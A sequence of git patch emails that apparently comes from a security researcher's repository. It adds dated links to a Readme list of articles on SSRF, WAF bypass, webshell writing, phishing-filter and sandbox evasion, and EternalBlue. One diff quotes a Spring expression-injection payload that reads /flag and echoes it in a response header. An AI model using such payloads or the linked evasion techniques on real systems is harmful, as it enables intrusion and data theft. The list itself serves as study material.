[一次“SSRF-->RCE”的艰难利用](https://mp.weixin.qq.com/s?__biz=MzUyMDEyNTkwNA==&mid=2247483865&idx=1&sn=41e56040229e383a82a671fc359ee82b&chksm=f9ee6d66ce99e470d102becfcf63955f2aae1d88bc43ef8e7939bc93d786ff2f994eac969d32&scene=21&sessionid=1586255695&key=c00e1a5b49adb240be940797e7d3cb821bae9b89771be268faa858b2888bbba3e96562ccac53df81389cb41e548a9e6412d4f83b6b7b541825630aa6ace9d1d040a3b7cd677b5ca137cc9b1d2297948e&ascene=1&uin=MzE0MDM4MzExMw==&devicetype=Windows%2010&version=62080079&lang=zh_CN&exportkey=A6a52QI1M4H5IGXp8ekqTtY=&pass_ticket=awXcPg/ApqlfbrG8njT11ZZYAGjwbhrnExtbvARh//rtbsupQLnZBKBPE6SCXvhn#wechat_redirect) **学习** + 2023/02/20 [五一快乐-微某OA从0day流量分析到武器化利用](https://mp.weixin.qq.com/s/iTP9jBypsJEsSlAIaNOnhw) + 2023/02/23 [实战 | 记一次针对非法网站的SSRF渗透](https://mp.weixin.qq.com/s/yfWAu6ebXA14GfOTP86XsA) ++ 2023/02/24 [【剖析 | SOFARPC 框架】之 SOFARPC 序列化比较](https://www.sofastack.tech/blog/sofa-rpc-serialization-comparison/) From d3faec268f216b3d67813d249a772e8f2d059165 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 2 Mar 2023 22:11:15 +0800 Subject: [PATCH 210/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index ecda1e9..d007b10 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -282,3 +282,4 @@ + 2023/02/20 [五一快乐-微某OA从0day流量分析到武器化利用](https://mp.weixin.qq.com/s/iTP9jBypsJEsSlAIaNOnhw) + 2023/02/23 [实战 | 记一次针对非法网站的SSRF渗透](https://mp.weixin.qq.com/s/yfWAu6ebXA14GfOTP86XsA) + 2023/02/24 [【剖析 | SOFARPC 框架】之 SOFARPC 序列化比较](https://www.sofastack.tech/blog/sofa-rpc-serialization-comparison/) ++ 2023/03/02 [绕过Struts2 waf写入冰蝎马](https://mp.weixin.qq.com/s?__biz=MzkzNzE4MTk4Nw==&mid=2247485835&idx=1&sn=d09939cc178f8e7aaa085bbbef622557&chksm=c2921fc7f5e596d1312a37b816345a78d4343d509432725a0a558745304c579b9044ef870267&mpshare=1&scene=23&srcid=02286Y2A5JswXVZdDgoD4BXN&sharer_sharetime=1677591306084&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 8f5b383daf528198c5a5a3af50847a27ac338569 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 2 Mar 2023 22:26:27 +0800 Subject: [PATCH 211/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index d007b10..34b177d 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -283,3 +283,4 @@ + 2023/02/23 [实战 | 记一次针对非法网站的SSRF渗透](https://mp.weixin.qq.com/s/yfWAu6ebXA14GfOTP86XsA) + 2023/02/24 [【剖析 | SOFARPC 框架】之 SOFARPC 序列化比较](https://www.sofastack.tech/blog/sofa-rpc-serialization-comparison/) + 2023/03/02 [绕过Struts2 waf写入冰蝎马](https://mp.weixin.qq.com/s?__biz=MzkzNzE4MTk4Nw==&mid=2247485835&idx=1&sn=d09939cc178f8e7aaa085bbbef622557&chksm=c2921fc7f5e596d1312a37b816345a78d4343d509432725a0a558745304c579b9044ef870267&mpshare=1&scene=23&srcid=02286Y2A5JswXVZdDgoD4BXN&sharer_sharetime=1677591306084&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2023/03/02 [加密SOCKS5信道中防DNS泄露](https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247486522&idx=1&sn=b438259298ecc59b9798dc689143d537&chksm=fab2cf05cdc546135f1347b2138b7d9d5332e30be4f6e059228f15f690a909aff83abf1d03ac&mpshare=1&scene=23&srcid=0228Kxs8UTPwmU6zhqNTsXVQ&sharer_sharetime=1677551815058&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From a647c3832d3d6ee4f99d95cab58579f36286c394 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Thu, 2 Mar 2023 23:35:08 +0800 Subject: [PATCH 212/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 34b177d..343a0e9 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -284,3 +284,4 @@ + 2023/02/24 [【剖析 | SOFARPC 框架】之 SOFARPC 序列化比较](https://www.sofastack.tech/blog/sofa-rpc-serialization-comparison/) + 2023/03/02 [绕过Struts2 waf写入冰蝎马](https://mp.weixin.qq.com/s?__biz=MzkzNzE4MTk4Nw==&mid=2247485835&idx=1&sn=d09939cc178f8e7aaa085bbbef622557&chksm=c2921fc7f5e596d1312a37b816345a78d4343d509432725a0a558745304c579b9044ef870267&mpshare=1&scene=23&srcid=02286Y2A5JswXVZdDgoD4BXN&sharer_sharetime=1677591306084&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/02 [加密SOCKS5信道中防DNS泄露](https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247486522&idx=1&sn=b438259298ecc59b9798dc689143d537&chksm=fab2cf05cdc546135f1347b2138b7d9d5332e30be4f6e059228f15f690a909aff83abf1d03ac&mpshare=1&scene=23&srcid=0228Kxs8UTPwmU6zhqNTsXVQ&sharer_sharetime=1677551815058&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2023/03/02 [【渗透测试实战】--waf绕过--打狗棒法](https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247527297&idx=1&sn=d7f1896b68a2253dcecf2780fb49b8ba&chksm=ce64c118f913480e4edd66dff46f1a9181b5c61dd1b3324db41b95338804a7124868c5740fff&mpshare=1&scene=23&srcid=03026OJPm0666pbtYyYnpZVR&sharer_sharetime=1677756888794&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **1.Content-Type中的boundary边界混淆绕过 ** From bb2868e6ac6d1d7dd3db990593907d155c71aa67 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 5 Mar 2023 19:08:05 +0800 Subject: [PATCH 213/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 343a0e9..93ff134 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -285,3 +285,4 @@ + 2023/03/02 [绕过Struts2 waf写入冰蝎马](https://mp.weixin.qq.com/s?__biz=MzkzNzE4MTk4Nw==&mid=2247485835&idx=1&sn=d09939cc178f8e7aaa085bbbef622557&chksm=c2921fc7f5e596d1312a37b816345a78d4343d509432725a0a558745304c579b9044ef870267&mpshare=1&scene=23&srcid=02286Y2A5JswXVZdDgoD4BXN&sharer_sharetime=1677591306084&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/02 [加密SOCKS5信道中防DNS泄露](https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247486522&idx=1&sn=b438259298ecc59b9798dc689143d537&chksm=fab2cf05cdc546135f1347b2138b7d9d5332e30be4f6e059228f15f690a909aff83abf1d03ac&mpshare=1&scene=23&srcid=0228Kxs8UTPwmU6zhqNTsXVQ&sharer_sharetime=1677551815058&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/02 [【渗透测试实战】--waf绕过--打狗棒法](https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247527297&idx=1&sn=d7f1896b68a2253dcecf2780fb49b8ba&chksm=ce64c118f913480e4edd66dff46f1a9181b5c61dd1b3324db41b95338804a7124868c5740fff&mpshare=1&scene=23&srcid=03026OJPm0666pbtYyYnpZVR&sharer_sharetime=1677756888794&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **1.Content-Type中的boundary边界混淆绕过 ** ++ 2023/03/05 [代码执行之篡改 deb 包控制文件](https://xz.aliyun.com/t/12250) **在考虑msi 安装程序能不能利用？** From 1edd6659cf14d966231c3df6fec6cb88ad485dd9 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 5 Mar 2023 19:17:10 +0800 Subject: [PATCH 214/254] Update Readme.md --- shell/SPEL/Readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/shell/SPEL/Readme.md b/shell/SPEL/Readme.md index 82b8808..e989f3e 100644 --- a/shell/SPEL/Readme.md +++ b/shell/SPEL/Readme.md @@ -113,6 +113,8 @@ print(')}') 其他bypass: https://xz.aliyun.com/t/9245 +https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/ + ## springboot回显 ``` Java.type("org.springframework.web.context.request.RequestContextHolder").currentRequestAttributes().getResponse().addHeader("test",new java.lang.String(Java.type("sun.misc.IOUtils").readFully(new java.io.FileInputStream("/flag"),1024,false))); From ee15da5ce535972548f4b2621fd8046414925caa Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 5 Mar 2023 19:18:28 +0800 Subject: [PATCH 215/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 93ff134..af19bb5 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -285,4 +285,4 @@ + 2023/03/02 [绕过Struts2 waf写入冰蝎马](https://mp.weixin.qq.com/s?__biz=MzkzNzE4MTk4Nw==&mid=2247485835&idx=1&sn=d09939cc178f8e7aaa085bbbef622557&chksm=c2921fc7f5e596d1312a37b816345a78d4343d509432725a0a558745304c579b9044ef870267&mpshare=1&scene=23&srcid=02286Y2A5JswXVZdDgoD4BXN&sharer_sharetime=1677591306084&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/02 [加密SOCKS5信道中防DNS泄露](https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247486522&idx=1&sn=b438259298ecc59b9798dc689143d537&chksm=fab2cf05cdc546135f1347b2138b7d9d5332e30be4f6e059228f15f690a909aff83abf1d03ac&mpshare=1&scene=23&srcid=0228Kxs8UTPwmU6zhqNTsXVQ&sharer_sharetime=1677551815058&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/02 [【渗透测试实战】--waf绕过--打狗棒法](https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247527297&idx=1&sn=d7f1896b68a2253dcecf2780fb49b8ba&chksm=ce64c118f913480e4edd66dff46f1a9181b5c61dd1b3324db41b95338804a7124868c5740fff&mpshare=1&scene=23&srcid=03026OJPm0666pbtYyYnpZVR&sharer_sharetime=1677756888794&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **1.Content-Type中的boundary边界混淆绕过 ** -+ 2023/03/05 [代码执行之篡改 deb 包控制文件](https://xz.aliyun.com/t/12250) **在考虑msi 安装程序能不能利用？** ++ 2023/03/05 [代码执行之篡改 deb 包控制文件](https://xz.aliyun.com/t/12250) **在考虑msi 安装程序能不能利用？** [Threat Analysis: MSI - Masquerading as a Software Installer](https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer) From f27ab7aa58e9fe5a51fa6a996a7dc7489179428e Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 7 Mar 2023 13:41:19 +0800 Subject: [PATCH 216/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index af19bb5..e25be21 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -286,3 +286,4 @@ + 2023/03/02 [加密SOCKS5信道中防DNS泄露](https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247486522&idx=1&sn=b438259298ecc59b9798dc689143d537&chksm=fab2cf05cdc546135f1347b2138b7d9d5332e30be4f6e059228f15f690a909aff83abf1d03ac&mpshare=1&scene=23&srcid=0228Kxs8UTPwmU6zhqNTsXVQ&sharer_sharetime=1677551815058&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) + 2023/03/02 [【渗透测试实战】--waf绕过--打狗棒法](https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247527297&idx=1&sn=d7f1896b68a2253dcecf2780fb49b8ba&chksm=ce64c118f913480e4edd66dff46f1a9181b5c61dd1b3324db41b95338804a7124868c5740fff&mpshare=1&scene=23&srcid=03026OJPm0666pbtYyYnpZVR&sharer_sharetime=1677756888794&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **1.Content-Type中的boundary边界混淆绕过 ** + 2023/03/05 [代码执行之篡改 deb 包控制文件](https://xz.aliyun.com/t/12250) **在考虑msi 安装程序能不能利用？** [Threat Analysis: MSI - Masquerading as a Software Installer](https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer) ++ 2023/03/07 [为什么 Nginx 比 Apache 更牛叉？](https://mp.weixin.qq.com/s/nz0OZsa0rEyF5L40rD5zYg) From 7c826d0ce4ef148e0ff87af5e6a2557df40e46fe Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 8 Mar 2023 17:06:56 +0800 Subject: [PATCH 217/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e25be21..43b12c0 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -287,3 +287,4 @@ + 2023/03/02 [【渗透测试实战】--waf绕过--打狗棒法](https://mp.weixin.qq.com/s?__biz=Mzg2NDYwMDA1NA==&mid=2247527297&idx=1&sn=d7f1896b68a2253dcecf2780fb49b8ba&chksm=ce64c118f913480e4edd66dff46f1a9181b5c61dd1b3324db41b95338804a7124868c5740fff&mpshare=1&scene=23&srcid=03026OJPm0666pbtYyYnpZVR&sharer_sharetime=1677756888794&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **1.Content-Type中的boundary边界混淆绕过 ** + 2023/03/05 [代码执行之篡改 deb 包控制文件](https://xz.aliyun.com/t/12250) **在考虑msi 安装程序能不能利用？** [Threat Analysis: MSI - Masquerading as a Software Installer](https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer) + 2023/03/07 [为什么 Nginx 比 Apache 更牛叉？](https://mp.weixin.qq.com/s/nz0OZsa0rEyF5L40rD5zYg) ++ 2023/03/08 [A New Vector For “Dirty” Arbitrary File Write to RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) [uwsgi生产环境](https://www.cnblogs.com/chunlin99x/p/16291085.html) uwsgi环境写文件rce From f522f8d08343b78113d6eba260a4cdd8285b148d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 11 Mar 2023 15:27:52 +0800 Subject: [PATCH 218/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 43b12c0..cc935fb 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -288,3 +288,4 @@ + 2023/03/05 [代码执行之篡改 deb 包控制文件](https://xz.aliyun.com/t/12250) **在考虑msi 安装程序能不能利用？** [Threat Analysis: MSI - Masquerading as a Software Installer](https://www.cybereason.com/blog/threat-analysis-msi-masquerading-as-software-installer) + 2023/03/07 [为什么 Nginx 比 Apache 更牛叉？](https://mp.weixin.qq.com/s/nz0OZsa0rEyF5L40rD5zYg) + 2023/03/08 [A New Vector For “Dirty” Arbitrary File Write to RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) [uwsgi生产环境](https://www.cnblogs.com/chunlin99x/p/16291085.html) uwsgi环境写文件rce ++ 2023/03/11 [CVE-2022-36413 Unauthorized Reset Password of Zoho ManageEngine ADSelfService Plus](https://blog.noah.360.net/cve-2022-36413-unauthorized-reset-password-of-zoho-manageengine-adselfservice-plus/) From 6a53275e3d9f210d69ba80eec2d8f41856d79dee Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 11 Mar 2023 21:26:49 +0800 Subject: [PATCH 219/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index cc935fb..9c448bc 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -289,3 +289,4 @@ + 2023/03/07 [为什么 Nginx 比 Apache 更牛叉？](https://mp.weixin.qq.com/s/nz0OZsa0rEyF5L40rD5zYg) + 2023/03/08 [A New Vector For “Dirty” Arbitrary File Write to RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) [uwsgi生产环境](https://www.cnblogs.com/chunlin99x/p/16291085.html) uwsgi环境写文件rce + 2023/03/11 [CVE-2022-36413 Unauthorized Reset Password of Zoho ManageEngine ADSelfService Plus](https://blog.noah.360.net/cve-2022-36413-unauthorized-reset-password-of-zoho-manageengine-adselfservice-plus/) ++ 2023/03/11 [第53篇：某OA系统的H2数据库延时注入点不出网拿shell方法](https://mp.weixin.qq.com/s/Lu4V_J6cresqmVnfQmg05g) **思路不错** From a27e7a5591ab749e9162871f86836366aae41ede Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 11 Mar 2023 23:55:29 +0800 Subject: [PATCH 220/254] Update Readme.md --- Jetty/Readme.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Jetty/Readme.md b/Jetty/Readme.md index c036d30..5d7c237 100644 --- a/Jetty/Readme.md +++ b/Jetty/Readme.md @@ -2,4 +2,4 @@ 好文章： -https://swarm.ptsecurity.com/tag/web-application-security/ +https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/ From 76f698fba4673f0994ce12893e07ecd9d32565c1 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 12 Mar 2023 18:50:02 +0800 Subject: [PATCH 221/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 9c448bc..9e15d67 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -290,3 +290,4 @@ + 2023/03/08 [A New Vector For “Dirty” Arbitrary File Write to RCE](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html) [uwsgi生产环境](https://www.cnblogs.com/chunlin99x/p/16291085.html) uwsgi环境写文件rce + 2023/03/11 [CVE-2022-36413 Unauthorized Reset Password of Zoho ManageEngine ADSelfService Plus](https://blog.noah.360.net/cve-2022-36413-unauthorized-reset-password-of-zoho-manageengine-adselfservice-plus/) + 2023/03/11 [第53篇：某OA系统的H2数据库延时注入点不出网拿shell方法](https://mp.weixin.qq.com/s/Lu4V_J6cresqmVnfQmg05g) **思路不错** ++ 2023/03/12 [chatgpt能分析0day漏洞么？](https://mp.weixin.qq.com/s?__biz=MzI1MDA1MjcxMw==&mid=2649907994&idx=1&sn=8984318d81b046ab202650f52557a12b&chksm=f18eea1cc6f9630aca2d2e6d88a767ffc5bd2f44e4367e1b0c68669b11097388b3c5f1e044a0&mpshare=1&scene=23&srcid=0312uHzVdJj4KvnBdTHy0TKM&sharer_sharetime=1678611522010&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **ai np** From 02d456e5f11c485967dd31b5301e12d19a26766d Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 12 Mar 2023 19:09:17 +0800 Subject: [PATCH 222/254] Update Readme.md --- Jetty/Readme.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/Jetty/Readme.md b/Jetty/Readme.md index 5d7c237..5405b5c 100644 --- a/Jetty/Readme.md +++ b/Jetty/Readme.md @@ -3,3 +3,5 @@ 好文章： https://swarm.ptsecurity.com/jetty-features-for-hacking-web-apps/ + +https://xz.aliyun.com/t/10039 From 3f9c672c1d196f3f2f511be00585af28fc660134 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sun, 12 Mar 2023 22:59:08 +0800 Subject: [PATCH 223/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 9e15d67..65c6fc7 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -291,3 +291,4 @@ + 2023/03/11 [CVE-2022-36413 Unauthorized Reset Password of Zoho ManageEngine ADSelfService Plus](https://blog.noah.360.net/cve-2022-36413-unauthorized-reset-password-of-zoho-manageengine-adselfservice-plus/) + 2023/03/11 [第53篇：某OA系统的H2数据库延时注入点不出网拿shell方法](https://mp.weixin.qq.com/s/Lu4V_J6cresqmVnfQmg05g) **思路不错** + 2023/03/12 [chatgpt能分析0day漏洞么？](https://mp.weixin.qq.com/s?__biz=MzI1MDA1MjcxMw==&mid=2649907994&idx=1&sn=8984318d81b046ab202650f52557a12b&chksm=f18eea1cc6f9630aca2d2e6d88a767ffc5bd2f44e4367e1b0c68669b11097388b3c5f1e044a0&mpshare=1&scene=23&srcid=0312uHzVdJj4KvnBdTHy0TKM&sharer_sharetime=1678611522010&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **ai np** ++ 2023/03/12 [钓鱼邮件中绕过内容检测的一种方式](https://mp.weixin.qq.com/s/oDFCn5K4rXXg-_ALv0-qYw) **bypass 好多内容敏感检测** From 8ea03eebe5c5fe80c327f099b15fa780f054640a Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Mon, 13 Mar 2023 18:12:18 +0800 Subject: [PATCH 224/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 65c6fc7..e11e728 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -292,3 +292,4 @@ + 2023/03/11 [第53篇：某OA系统的H2数据库延时注入点不出网拿shell方法](https://mp.weixin.qq.com/s/Lu4V_J6cresqmVnfQmg05g) **思路不错** + 2023/03/12 [chatgpt能分析0day漏洞么？](https://mp.weixin.qq.com/s?__biz=MzI1MDA1MjcxMw==&mid=2649907994&idx=1&sn=8984318d81b046ab202650f52557a12b&chksm=f18eea1cc6f9630aca2d2e6d88a767ffc5bd2f44e4367e1b0c68669b11097388b3c5f1e044a0&mpshare=1&scene=23&srcid=0312uHzVdJj4KvnBdTHy0TKM&sharer_sharetime=1678611522010&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **ai np** + 2023/03/12 [钓鱼邮件中绕过内容检测的一种方式](https://mp.weixin.qq.com/s/oDFCn5K4rXXg-_ALv0-qYw) **bypass 好多内容敏感检测** ++ 2023/03/13 [攻击技术研判 | 使用蜂鸣器对抗沙箱检测技术](https://mp.weixin.qq.com/s/DrUWV4baPIA3WtCVjFp3gw) **就是利用其api实现sleep的效果,对抗沙箱** From fe7f2867c318b254903e4b6be87a08b85339c787 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Tue, 14 Mar 2023 10:33:17 +0800 Subject: [PATCH 225/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index e11e728..46272cd 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -293,3 +293,4 @@ + 2023/03/12 [chatgpt能分析0day漏洞么？](https://mp.weixin.qq.com/s?__biz=MzI1MDA1MjcxMw==&mid=2649907994&idx=1&sn=8984318d81b046ab202650f52557a12b&chksm=f18eea1cc6f9630aca2d2e6d88a767ffc5bd2f44e4367e1b0c68669b11097388b3c5f1e044a0&mpshare=1&scene=23&srcid=0312uHzVdJj4KvnBdTHy0TKM&sharer_sharetime=1678611522010&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) **ai np** + 2023/03/12 [钓鱼邮件中绕过内容检测的一种方式](https://mp.weixin.qq.com/s/oDFCn5K4rXXg-_ALv0-qYw) **bypass 好多内容敏感检测** + 2023/03/13 [攻击技术研判 | 使用蜂鸣器对抗沙箱检测技术](https://mp.weixin.qq.com/s/DrUWV4baPIA3WtCVjFp3gw) **就是利用其api实现sleep的效果,对抗沙箱** ++ 2023/03/14 [从挑战赛看阿里云RASP防御优势与云上最佳实践](https://mp.weixin.qq.com/s?__biz=MzA4MTQ2MjI5OA==&mid=2664088876&idx=1&sn=cc29a7dc475e08300390eae40902808d&chksm=84aaf059b3dd794fe63c1f8af5cdafbca404bdd2e956a658f0807ba5e74d98cfc9369573e64c&mpshare=1&scene=23&srcid=0313b3xCwrxOPs14Cc4DeDtz&sharer_sharetime=1678702681315&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) From 26ee70fed9e9fbe051a6a85cbe68e70864e4be8f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Wed, 15 Mar 2023 14:43:24 +0800 Subject: [PATCH 226/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 46272cd..1e58f49 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -294,3 +294,4 @@ + 2023/03/12 [钓鱼邮件中绕过内容检测的一种方式](https://mp.weixin.qq.com/s/oDFCn5K4rXXg-_ALv0-qYw) **bypass 好多内容敏感检测** + 2023/03/13 [攻击技术研判 | 使用蜂鸣器对抗沙箱检测技术](https://mp.weixin.qq.com/s/DrUWV4baPIA3WtCVjFp3gw) **就是利用其api实现sleep的效果,对抗沙箱** + 2023/03/14 [从挑战赛看阿里云RASP防御优势与云上最佳实践](https://mp.weixin.qq.com/s?__biz=MzA4MTQ2MjI5OA==&mid=2664088876&idx=1&sn=cc29a7dc475e08300390eae40902808d&chksm=84aaf059b3dd794fe63c1f8af5cdafbca404bdd2e956a658f0807ba5e74d98cfc9369573e64c&mpshare=1&scene=23&srcid=0313b3xCwrxOPs14Cc4DeDtz&sharer_sharetime=1678702681315&sharer_shareid=33fdea7abe6be586e131951d667ccd06#rd) ++ 2023/03/15 [永恒之蓝Windows10版踩坑复现](https://mp.weixin.qq.com/s/H8cOsXmH0EzDPEBsPgvMrg) From ab0ce4738def82270edfe486823fa1b7c32e18f5 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Fri, 17 Mar 2023 12:11:19 +0800 Subject: [PATCH 227/254] Update Readme.md --- "java\346\227\245\345\270\270/Readme.md" | 1 + 1 file changed, 1 insertion(+) diff --git "a/java\346\227\245\345\270\270/Readme.md" "b/java\346\227\245\345\270\270/Readme.md" index 1e58f49..b0f69b6 100644 --- "a/java\346\227\245\345\270\270/Readme.md" +++ "b/java\346\227\245\345\270\270/Readme.md" @@ -295,3 +295,4 @@ + 2023/03/13 [攻击技术研判 | 使用蜂鸣器对抗沙箱检测技术](https://mp.weixin.qq.com/s/DrUWV4baPIA3WtCVjFp3gw) **就是利用其api实现sleep的效果,对抗沙箱** + 2023/03/14 